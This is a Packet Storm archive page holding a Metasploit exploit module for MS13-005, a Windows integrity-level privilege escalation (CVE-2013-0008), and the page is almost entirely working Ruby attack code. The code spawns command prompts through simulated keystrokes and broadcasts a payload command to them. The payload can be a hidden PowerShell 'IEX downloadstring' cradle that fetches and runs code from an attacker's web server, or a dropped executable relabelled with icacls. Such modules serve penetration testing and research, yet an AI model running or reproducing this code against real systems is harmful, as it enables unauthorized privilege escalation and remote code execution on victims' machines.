Lucene search

K
packetstormTavis OrmandyPACKETSTORM:122588
HistoryJul 29, 2013 - 12:00 a.m.

MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation

2013-07-2900:00:00
Tavis Ormandy
packetstormsecurity.com
25

0.001 Low

EPSS

Percentile

34.0%

`##  
# ## This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/exploit/exe'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',  
'Description' => %q{  
The Windows kernel does not properly isolate broadcast messages from low integrity  
applications from medium or high integrity applications. This allows commands to be  
broadcasted to an open medium or high integrity command prompts allowing escalation  
of privileges. We can spawn a medium integrity command prompt, after spawning a low  
integrity command prompt, by using the Win+Shift+# combination to specify the  
position of the command prompt on the taskbar. We can then broadcast our command  
and hope that the user is away and doesn't corrupt it by interacting with the UI.  
Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2,  
Server 2012, RT. But Spawning a command prompt with the shortcut key does not work  
in Vista so you will have to check if the user is already running a command prompt  
and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded  
payload from a Web location. The FILE technique will drop an executable to the  
file system, set it to medium integrity and execute it. The TYPE technique will  
attempt to execute a powershell encoded payload directly from the command line but  
it may take some time to complete.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy', # Discovery  
'Axel Souchet', # @0vercl0k POC  
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate'=> "Nov 27 2012",  
'References' =>  
[  
[ 'CVE', '2013-0008' ],  
[ 'MSB', 'MS13-005' ],  
[ 'OSVDB', '88966'],  
[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]  
]  
))  
  
register_options(  
[  
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),  
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),  
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])  
], self.class  
)  
  
end  
  
def low_integrity_level?  
tmp_dir = expand_path("%USERPROFILE%")  
cd(tmp_dir)  
new_dir = "#{rand_text_alpha(5)}"  
begin  
session.shell_command_token("mkdir #{new_dir}")  
rescue  
return true  
end  
  
if directory?(new_dir)  
session.shell_command_token("rmdir #{new_dir}")  
return false  
else  
return true  
end  
end  
  
def win_shift(number)  
vk = 0x30 + number  
bscan = 0x81 + number  
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)  
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)  
client.railgun.user32.keybd_event(vk, bscan, 0, 0)  
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)  
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)  
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)  
end  
  
def count_cmd_procs  
count = 0  
client.sys.process.each_process do |proc|  
if proc['name'] == 'cmd.exe'  
count += 1  
end  
end  
  
vprint_status("Cmd prompt count: #{count}")  
return count  
end  
  
def cleanup  
if datastore['SPAWN_PROMPT'] and @hwin  
vprint_status("Rehiding window...")  
client.railgun.user32.ShowWindow(@hwin, 0)  
end  
super  
end  
  
def exploit  
# First of all check if the session is running on Low Integrity Level.  
# If it isn't doesn't worth continue  
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?  
fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?  
  
# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which  
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low  
# integrity process can write.  
drop_to_fs = false  
if datastore['TECHNIQUE'] == 'FILE'  
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"  
begin  
tmp_dir = expand_path("%TEMP%")  
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i  
cd(tmp_dir)  
print_status("Trying to drop payload to #{tmp_dir}...")  
if write_file(payload_file, generate_payload_exe)  
print_good("Payload dropped successfully, exploiting...")  
drop_to_fs = true  
register_file_for_cleanup(payload_file)  
payload_path = tmp_dir  
else  
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")  
drop_to_fs = false  
end  
rescue ::Rex::Post::Meterpreter::RequestError  
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")  
drop_to_fs = false  
end  
end  
  
if drop_to_fs  
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"  
make_it(command)  
elsif datastore['TECHNIQUE'] == 'TYPE'  
if datastore['CUSTOM_COMMAND']  
command = datastore['CUSTOM_COMMAND']  
else  
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload")  
command = cmd_psh_payload(payload.encoded)  
end  
make_it(command)  
else  
super  
end  
end  
  
def primer  
url = get_uri()  
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"  
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"  
make_it(command)  
end  
  
def make_it(command)  
if datastore['SPAWN_PROMPT']  
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']  
if @hwin == nil  
@hwin = client.railgun.user32.GetForegroundWindow()['return']  
end  
client.railgun.user32.ShowWindow(@hwin, 0)  
client.railgun.user32.ShowWindow(@hwin, 5)  
  
# Spawn low integrity cmd.exe  
print_status("Spawning Low Integrity Cmd Prompt")  
windir = client.fs.file.expand_path("%windir%")  
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid  
  
count = count_cmd_procs  
spawned = false  
print_status("Bruteforcing Taskbar Position")  
9.downto(1) do |number|  
vprint_status("Attempting Win+Shift+#{number}")  
win_shift(number)  
sleep(1)  
  
if count_cmd_procs > count  
print_good("Spawned Medium Integrity Cmd Prompt")  
spawned = true  
break  
end  
end  
  
client.sys.process.kill(li_cmd_pid)  
  
fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned  
end  
  
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")  
command.each_char do |c|  
print c if command.length < 200  
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)  
end  
print_line  
print_status("Executing command...")  
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)  
end  
  
def on_request_uri(cli, request)  
print_status("Delivering Payload")  
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
end  
end  
  
`